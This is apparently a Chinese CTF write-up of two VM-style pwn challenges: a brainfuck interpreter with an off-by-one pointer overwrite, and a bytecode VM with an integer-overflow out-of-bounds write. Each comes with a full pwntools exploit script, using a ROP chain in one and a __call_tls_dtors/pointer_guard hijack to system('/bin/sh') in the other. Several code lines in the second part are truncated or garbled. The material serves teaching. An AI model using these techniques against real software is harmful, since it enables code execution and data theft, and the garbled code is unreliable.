實驗四 VMPWN4

題目簡介

這道題應該算是虛擬機保護的一個變種,是一個解釋器類型的程序,何為解釋器?解釋器是一種計算機程序,用于解釋和執行源代碼。解釋器可以理解源代碼中的語法和語義,并將其轉換為計算機可以執行的機器語言。與編譯器不同,解釋器不會將源代碼轉換為機器語言,而是直接執行源代碼。即,這個程序接收一定的解釋器語言,然后按照一定的規則對其進行解析,完成相應的功能,從本質上來看依然是一個虛擬機。

這個程序是一個brainfuck的解釋器,brainfuck的語法如下所示:

將這些語法翻譯為c代碼如下所示:

題目保護檢查

使用checksec來檢查程序開啟了哪些保護機制

所有保護全部開啟 使用seccomp-tools檢查程序是否開啟了沙箱

只允許open、openat、read、write、brk等少數系統調用,也就是說我們不能通過執行system(“/bin/sh”)或者execve系統調用來拿到shell了。

漏洞分析

使用IDA pro打開這個程序 查看偽代碼

看到std::cout以及std::string等函數,可以看出來這個程序是用c++進行編寫的,相比于C語言的程序,C++的程序反編譯之后分析起來難度會大一些。

分析一波sub_1EA2函數

在a1+0x400處創建一個string類,后面的sub_1FAAsub_1F72很復雜,看不明白,應該是初始化的函數。

然后在 sub_154B 函數中

這里就是沙箱開啟函數,我們一開始用 seccomp-tools 分析程序得到的沙箱規則就是在這個函數中設置的,對程序的系統調用功能進行了種種限制。

接著輸入 code,每次輸入 1 字節,然后將這 1 字節拼接到 string 中, 在這里我們可以動態調試一下輸入過程,因為 string 是一個類,其內部有其他成員。我們將斷點下載 while 循環結束之后,即讀取完了 code,我們首先輸入 5 個'>',string 類在 rbp-0x40,我們查看其中內容:

前8個字節是一個指針,指向我們輸入的code存放的地址,第2個8字節是輸入的字節數,后面的就是我們輸入的code,這里我們只輸入了5個字節,直接在存在了棧中。我們多輸入一些,大于0x10個字符

前8個字節變為了堆地址,我們輸入的數據被存入了堆中,第2個8字節依然書我們輸入的字節數,第3個8字節0x1e,應該是剩余可用空間,0x13+0x1e=0x31。 總的來說,如果輸入字符數小于0x10,string類的大概成員應該如下

struct string
{
    char *data;
    int64_t size;
    char data[0x10];
    ...
}

如果大于0x10則為如下

struct
{
    char *buf;
    int64_t size;
    int64_t capacity;
    char tmp_data[8];
    ...
}

繼續分析程序

中間這一段 for 循環應該是遍歷所有輸入的 code,尋找[和],也就是尋找程序的邊界,為什么是尋找程序的邊界,可以再看一下 brainfuck 解釋為 c 語言之后的效果。[]所包裹起來的 code,就是 while 循環之內要執行的代碼。從這個 for 循環往下,就是對 brainfuck 的解釋代碼,會依次判斷每個字符的值,并進行相應的操作。

首先看到對>的操作

會對v19進行+1操作,v19是啥呢?

s是最開始初始化的時候傳入的一個長度為0x400的數組,這里將v19賦值為s數組的地址,每當解析到>時,就將v19往后移動一個字節,然后對v19進行判斷

在if判斷中存在問題,當v19指針大于string指針是退出,也就是說v19可以等于string指針,即v19可以指向string的第一個字節,存在off-by-one。如下圖

v19可以指向畫框的1字節。

后續的其他操作就都和最開始貼出來的brainfuck語法一樣了,也沒有漏洞。

接下來開始利用漏洞。

第一步還是得先泄露libc地址。泄露方法是通過將v19指向string的第一字節,也就是buf指針的最后1字節。

0x7fffffffde68處就是main函數的返回地址,我們將buf指針的最后1字節修改為68,這樣buf就會指向返回地址。在程序的最后,會將string的數據輸出

而此時string的buf已經被我們指向了返回地址,輸出時就會泄露出libc_start_main的地址。 在這里我們需要注意,想要buf指針能夠指向棧中,我們輸入的數據不能超過0x10個字節,而v19和string相差多少呢?

v19是指向s的,s和string相差了0x400的距離,所以我們需要將v19增加0x400才行,但如果我們輸入0x400個>,又會調用malloc,這樣buf就會變成堆地址。所以這里就得了解brainfuck語法,使用[]可以達成類似于循環的效果。只需要+[>+],這5個字符就可以一直循環增加v19指針,并在v19指向string的第1字節時自動停止,然后往string的第1字節寫入1字節的數據,換成c的語法如下

++*ptr;
while(*ptr)
{
        ptr++;
        ++*ptr;
}

這看起來是一個死循環,為啥能夠自動在指向string的第1個字節時自動停止呢?這是因為,當執行完>使得v19指向string后,接下來會執行+使得string的buf指針+1,變成了下圖所示:

于是,原本要取],因為指針+1,就會取到,,從而跳出循環。還有一點就是,因為aslr的緣故,棧地址會一直改變,所以泄露libc地址需要多試幾次才能成功。拿到libc地址之后,就可以進行利用了,由于此時string的buf指針指向的是返回地址,我們再次輸入code的時候就會往返回地址上寫,所以我們可以構造好orw的rop鏈,直接寫入返回地址,然后當我們結束main函數的時候就會執行orw鏈。另外,還有需要注意的地方,在程序開頭和結尾,有這么幾個函數 開頭

結尾

開頭的應該是構造函數,結尾的應該是析構函數。在漏洞利用中我們將string的buf指向了返回地址,如果我們在這個時候退出了while循環,執行析構函數時就會報錯,所以我們在布置完orw鏈后還需要對string的buf進行修正,讓它指向正確的位置。

利用腳本

from pwn import *
context.log_level='debug'
global io
libc=ELF('./libc.so.6')
def debug(addr,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
        gdb.attach(io,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(io,"b *{}".format(hex(addr)))
def pwn():
    payload = '+[>+],'
    io.recvuntil('enter your code:')
    
    io.sendline(payload)
    io.recvuntil('running....')
    io.send(p8(0xd8))
    io.recvuntil("your code: ")
    libc_base = u64(io.recvuntil('\x7f',timeout=0.5)[-6:].ljust(8,'\x00')) - 231 - libc.sym['__libc_start_main']
    if libc_base>>40!=0x7f:
        raise Exception("leak error!")
    log.success('libc_base => {}'.format(hex(libc_base)))
    pop_rdi_ret=libc_base+0x000000000002155f
    pop_rsi_ret=libc_base+0x0000000000023e6a
    pop_rdx_ret=libc_base+0x0000000000001b96
    open_addr=libc_base+libc.symbols['open']
    read_addr=libc_base+libc.symbols['read']
    write_addr=libc_base+libc.symbols['write']
    log.success('open_addr => {}'.format(hex(open_addr)))
    log.success('read_addr => {}'.format(hex(read_addr)))
    log.success('write_addr => {}'.format(hex(write_addr)))
    flag_str_addr=(libc_base+libc.symbols['__free_hook'])&0xfffffffffffff000
    orw=p64(pop_rdi_ret)+p64(0)+p64(pop_rsi_ret)+p64(flag_str_addr)+p64(pop_rdx_ret)+p64(0x10)+p64(read_addr)
    orw+=p64(pop_rdi_ret)+p64(flag_str_addr)+p64(pop_rsi_ret)+p64(0)+p64(open_addr)
    orw+=p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(flag_str_addr+0x10)+p64(pop_rdx_ret)+p64(0x100)+p64(read_addr)
    orw+=p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_ret)+p64(flag_str_addr+0x10)+p64(pop_rdx_ret)+p64(0x100)+p64(write_addr)
    io.recvuntil('want to continue?')
    io.send('y')
    io.recvuntil('enter your code:')
    io.sendline(orw+payload)
    io.recvuntil('running....')
    io.send('\xa0')
    io.recvuntil('want to continue?')
    io.send('n')
    io.send('./flag')
    io.interactive()
if __name__ == "__main__":
    while True:
        try:
            io=process('./bf')
            pwn()
        except:
            io.close()
    

實驗五 VMPWN5

題目簡介

這道題是一道很典型的VMPWN,接收字節碼,對字節碼進行解析,執行對應功能。不過這題相較于前面的vmpwn有些區別,前幾題都都是同時存在越界讀和越界寫漏洞的,然而這道題僅存在一個越界寫漏洞,這就要求更加開闊和靈活的解題思路。

題目保護檢查

保護全部開啟了。

漏洞分析

IDA打開程序

讀取一段字符,如果這段字符串不為”bye bye”,則調用sub_228E函數

看到sub_228E函數

首先根據字符串的輸出將各個變量重命名。

先讓用戶輸入code_size,也就是字節碼的長度;接著讓用戶輸入memory count,也就是內存的大小,內存的單位是8字節,后面通過malloc申請memory count*8大小的堆塊作為內存。然后讀取code,最后調用sub_1458函數,跟進查看

似乎是一個初始化函數,但具體做了什么我們暫不清楚,繼續往下看,跟進到sub_151A函數。

這里就是熟悉的解析字節碼了,我們將前面的函數和變量重命名一下

為了方便逆向分析,我們首先來確定虛擬機的結構體。

首先根據這里的判斷,我們猜測通用寄存器的索引不能大于3,也就是通用寄存器有 4個。我們再回看到init_vm結構體。

qword_5040應該為pc指針,因為它指向的是code的開頭,ptr指向內存的開頭,后面又malloc出來了一塊0x800的堆,猜測這個qword_5050應該就是棧頂指針rsp,重命名之后如下

重新看回到exec_vm函數

qword_5088很明顯是當前運行了多少code。而我們注意到

我們剛剛重命名的指針都是位于同一塊區域,所以這一塊區域應該就是vm虛擬機的位置。

根據剛剛的分析,創建如下結構體

struct vm
{
  char *code;
  int64_t *memory;
  int64_t *stack;
  int64_t codesize;
  int64_t memcnt;
  int64_t regs[4];
  int64_t rip;
  int64_t rsp;
};

再將其應用于IDA中,此時exec_vm已經變得很清晰

一共24個功能,每個操作碼對應的功能如下:

0:push
1:pop
2:將棧中的兩個值相加
3:將棧中的兩個值相減
4:將棧中的兩個值相乘
5:將棧中的兩個值相除
6:將棧中的兩個值取模
7:將棧中的兩個值左移
8:將棧中的兩個值右移
9:將棧中的兩個值相與
11:將棧中的兩個值相或
12:將棧中的兩個值相異或
13:判斷棧頂值是否為0
14:jmp
15:條件jmp,如果棧頂有值就jmp,沒有就不jmp
16:條件jmp,和15相反
17:判斷棧頂的兩個值是否相等
18:判斷棧頂值是否小于棧頂下的一個值
19:判斷棧頂值是否大于棧頂下的一個值
20:將一個立即數存入寄存器中
21:將寄存器中的值存入內存中
22:將內存中的值存入寄存器中
23:打印finish

接下來開始分析漏洞

在最開始輸入mem_cnt時有一個判斷,如下

在這里,當輸入類似0x2000000000000020mem_cnt時,后續申請到的memory大小就為0x100 因為0x200000000000000*8會超過64位能表示的最大數字從而導致整數溢出,只有最后的0x20*8會保留下來。

在執行opcode時,0x15功能點處檢查內存是否越界依然使用的是一開始輸入的mem_cnt,因此存在越界寫,可以將寄存器中的數據寫到任意內存中。而在0x16功能點處的內存讀功能則由于v8 >= 8 * vmx.memcnt / 8的處理,失去了越界讀的效果,所以題目的漏洞就在于0x15功能點的越界寫。

但是,由于不存在越界讀功能,我們無法從內存中讀取libc地址信息到寄存器中,虛擬機也沒有輸出功能,因此我們需要另辟蹊徑。

首先如何生成libc地址,注意在exec_vm結束后,會清理虛擬機的各個段

由于將堆free了會鏈入到unsortedbin中,因此堆中就會留下libc地址,再重新初始化一個虛擬機,這個新的虛擬機的內存段中就會包含libc地址。

當opcode大于0x17時,會輸出what???,可以根據這個構造盲注來泄露libc地址.

首先將libc地址push到棧上,然后將1<到棧上,然后通過0x9的按位與功能

檢測該位是否為1,如果為1的話就執行一個錯誤的opcode,輸出what???,如果為0的話就跳轉回code開頭,繼續測試下一位是否為1,由此可以一位一位地得到libc地址。

如上圖所示,這是mem區殘留的libc地址,首先將libc地址mov到reg[0]中,如下圖

然后將其push到棧中

接著我們往reg[1]中寫入1<

如上圖,reg[1]中存放著1<<8,然后將其壓入棧中

再將這兩個值進行按位與

將按位與之后的結果存入棧底,然后我們判斷棧底為1或者0,為1的話就輸出finish,為0的話就輸出what?,以此來判斷libc的每一位數據為1或者0.

得到libc地址之后就該思考如何getshell了。

拿到libc地址后,再加上任意地址寫,隨便怎么打都可以,這里采用打call_tls_dtors來getshell。

call_tls_dtors是什么?

main函數正常退出時,會調用exit函數

void
exit (int status)
{
  __run_exit_handlers (status, &__exit_funcs, true, true);
}
libc_hidden_def (exit)

exit函數調用了__run_exit_handlers函數

__run_exit_handlers (int status, struct exit_function_list **listp,
             bool run_list_atexit, bool run_dtors)
{
  /* First, call the TLS destructors.  */
#ifndef SHARED
  if (&__call_tls_dtors != NULL)
#endif
    if (run_dtors)
      __call_tls_dtors ();
  .....................
  _exit (status);
}

__run_exit_handlers函數中,會檢查run_dtors,如果為真就會調用__call_tls_dtors

動態調試exit函數,可以看到run_dtors的值

pwndbg> p run_dtors 
$1 = true

因此__call_tls_dtors是會被執行的,再看到__call_tls_dtors函數

void
__call_tls_dtors (void)
{
  while (tls_dtor_list)
    {
      struct dtor_list *cur = tls_dtor_list;
      dtor_func func = cur->func;
#ifdef PTR_DEMANGLE
      PTR_DEMANGLE (func);
#endif
      tls_dtor_list = tls_dtor_list->next;
      func (cur->obj);
      /* Ensure that the MAP dereference happens before
     l_tls_dtor_count decrement.  That way, we protect this access from a
     potential DSO unload in _dl_close_worker, which happens when
     l_tls_dtor_count is 0.  See CONCURRENCY NOTES for more detail.  */
      atomic_fetch_add_release (&cur->map->l_tls_dtor_count, -1);
      free (cur);
    }
}

如果tls_dtor_list存在的話,就會將tls_dtor_list賦值給cur,而cur是一個dtor_list的結構體指針,定義如下

struct dtor_list
{
  dtor_func func;
  void *obj;
  struct link_map *map;
  struct dtor_list *next;
};

然后將cur->func賦值給func,然后調用PTR_DEMANGLE (func),定義如下

#  define PTR_DEMANGLE(var) asm ("ror $2*" LP_SIZE "+1, %0"       \
                     "xor %%fs:%c2, %0"         \
                     : "=r" (var)         \
                     : "0" (var),         \
                       "i" (offsetof (tcbhead_t,       \
                              pointer_guard)))

純匯編如下

   0x7ffff7e21428 <__call_tls_dtors+40>    ror    rax, 0x11
   0x7ffff7e2142c <__call_tls_dtors+44>    xor    rax, qword ptr fs:[0x30]
   0x7ffff7e21435 <__call_tls_dtors+53>    mov    qword ptr fs:[rbx], rdx
   0x7ffff7e21439 <__call_tls_dtors+57>    mov    rdi, qword ptr [rbp + 8]
   0x7ffff7e2143d <__call_tls_dtors+61>    call   rax

與之相對的是PTR_MANGLE(var)

#  define PTR_MANGLE(var) asm ("xor %%fs:%c2, %0"        \
                     "rol $2*" LP_SIZE "+1, %0"        \
                     : "=r" (var)         \
                     : "0" (var),         \
                       "i" (offsetof (tcbhead_t,       \
                              pointer_guard)))

PTR_MANGLE可以看作是加密過程,PTR_DEMANGLE 則是解密過程,循環右移0x11位,然后和fs:[0x30]異或得出解密之后的值。

fs:[0x30]是什么?64位程序中,函數退棧時檢查canary的那條匯編語句就是xor rcx, qword ptr fs:[0x28],里面也出現了fs,實際上fs是一個TLS結構體,定義如下

typedef struct
{
  void *tcb;  /* Pointer to the TCB.  Not necessarily the
               thread descriptor used by libpthread.  */
  dtv_t *dtv;
  void *self;  /* Pointer to the thread descriptor.  */
  int multiple_threads;
  uintptr_t sysinfo;
  uintptr_t stack_guard;
  uintptr_t pointer_guard;
  int gscope_flag;
  /* Bit 0: X86_FEATURE_1_IBT.
     Bit 1: X86_FEATURE_1_SHSTK.
   */
  unsigned int feature_1;
  /* Reservation of some values for the TM ABI.  */
  void *__private_tm[3];
  /* GCC split stack support.  */
  void *__private_ss;
  /* The lowest address of shadow stack,  */
  unsigned long ssp_base;
} tcbhead_t;

stack_guard就是fs:[0x28],也就是canary,相應的,fs:[0x30]就是pointer_guard。如何定位TLS結構體?在pwndbg使用如下方式

pwndbg> canary 
canary : 0xed8519fd5f3d4700
pwndbg> search -p 0xed8519fd5f3d4700
                0x7ffff7fca568 0xed8519fd5f3d4700
pwndbg> x /20xg 0x7ffff7fca568-0x28
0x7ffff7fca540: 0x00007ffff7fca540 0x00007ffff7fcae90
0x7ffff7fca550: 0x00007ffff7fca540 0x0000000000000000

回到函數中來,解密了func之后,會執行

func (cur->obj);

而func和cur->obj同屬于tls_dtor_list結構體,而這個結構體的來源是tls_dtor_list這個指針,如果我們能夠控制這個指針指向我們可控的內存那么就能夠劫持程序。我們繼續動態調試查看tls_dtor_list的值

pwndbg> p tls_dtor_list 
Cannot find thread-local storage for process 5047, shared library /usr/lib/freelibs/amd64/2.31-0ubuntu9.2_amd64/libc.so.6:
Cannot find thread-local variables on this target

但是pwndbg并不能直接查看到tls_dtor_list的內容,看地址也不行,那我們繼續從匯編中找

查看while (tls_dtor_list)處的匯編,如下

   0x7ffff7e2140a <__call_tls_dtors+10>    mov    rbx, qword ptr [rip + 0x1a094f]
 ? 0x7ffff7e21411 <__call_tls_dtors+17>    mov    rbp, qword ptr fs:[rbx]
   0x7ffff7e21415 <__call_tls_dtors+21>    test   rbp, rbp
   0x7ffff7e21418 <__call_tls_dtors+24>    je     __call_tls_dtors+93 <__call_tls_dtors+93>

將fs:[rbx]處的值賦給rbp,然后檢查rbp是否為0

此時RBP的值為

RBX  0xffffffffffffffa8

補碼形式,轉換成負數就是-0x58,也就是將fs:[-0x58]處的值賦給RBP,所以tls_dtor_list的地址就為fs:[-0x58]。

整個利用流程就是,將tls_dtor_list的值修改為我們可控內存的地址,一般是堆的地址,然后根據dtor_list結構體的布局

struct dtor_list
{
  dtor_func func;
  void *obj;
  struct link_map *map;
  struct dtor_list *next;
};

我們只需要將在堆中將func偽造為加密后的system的地址,obj為/bin/sh即可。

按照上面說的思路,我們利用越界寫將pointer_guard修改為0,然后修改dtor_list結構體的值,將func修改為加密后的system地址,將會obj修改為binsh的地址,最后我們推出虛擬機的時候就會觸發system(“/bin/sh”)來getshell。

利用腳本

from pwn import *
context.log_level='debug'
io=process('./ezvm')
libc=ELF('./libc-2.35.so')
io.recvuntil('Welcome to 0ctf2022!!')
io.sendline('lock')
io.recvuntil('size:')
io.sendline('38')
io.recvuntil('memory count:')
io.sendline('256')
code=p8(0x17)+p8(0xff)*36
io.recvuntil('code:')
io.sendline(code)
io.recvuntil('continue?')
io.sendline('y')
leak=0
for i in range(5,40,1):
    print("leaking bit"+str(i)+':'+str(bin(1<    code=p8(0x16)+p8(0)+p64(0) #mov reg[0],mem[0]
    code+=p8(0)+p8(0) #push r0
    code+=p8(0x14)+p8(1)+p64(1<#mov reg[1],1<
    code+=p8(0)+p8(1) #push r1
    code+=p8(0x9) #AND
    code+=p8(0x10)+p64(1)
    code+=p8(0x18)+p8(0x17)
    io.recvuntil('size:')
    io.sendline(str(len(code)))
    io.recvuntil('memory count:')
    io.sendline('256')
    io.recvuntil('code:')
    
    io.sendline(code)
    # gdb.attach(io)
    # pause()
    data=io.recvuntil('finish!',drop=True)
    if 'what' in data:
        leak|=(1<
leak|=0x7f0000000000
log.success('leak => {}'.format(hex(leak)))
libc_base=leak-0x219ce0
system_addr=libc_base+libc.symbols['system']
binsh_addr=libc_base+libc.search('/bin/sh\x00').next()
tls_dtor_list_addr=libc_base-0x28c0-0x58
log.success('libc_base => {}'.format(hex(libc_base)))
log.success('system_addr => {}'.format(hex(system_addr)))
log.success('binsh_addr => {}'.format(hex(binsh_addr)))
size = 0x2000000000030000
io.recvuntil('size:')
io.sendline('100')
io.recvuntil('memory count:')
io.sendline(str(size))
code=p8(0x15)+p8(0)+p64(0x302ec) #mov mem[0x302eb],reg[0]
enc=((system_addr^0)>>(64-0x11))|((system_addr^0)<<0x11)
code+=p8(0x14)+p8(1)+p64(enc) #mov reg[1],system_addr
code+=p8(0x14)+p8(2)+p64(binsh_addr) #mov reg[2],binsh_addr
code+=p8(0x14)+p8(3)+p64(libc_base+0x220000) #mov reg[3],libc_base+0x220000
code+=p8(0x15)+p8(3)+p64(0x302db)
code+=p8(0x15)+p8(1)+p64(0x747fe)  
code+=p8(0x15)+p8(2)+p64(0x747ff) 
io.recvuntil('code:')
#gdb.attach(io)
io.sendline(code)
io.recvuntil('continue?')
io.sendline('bye bye')
io.interactive()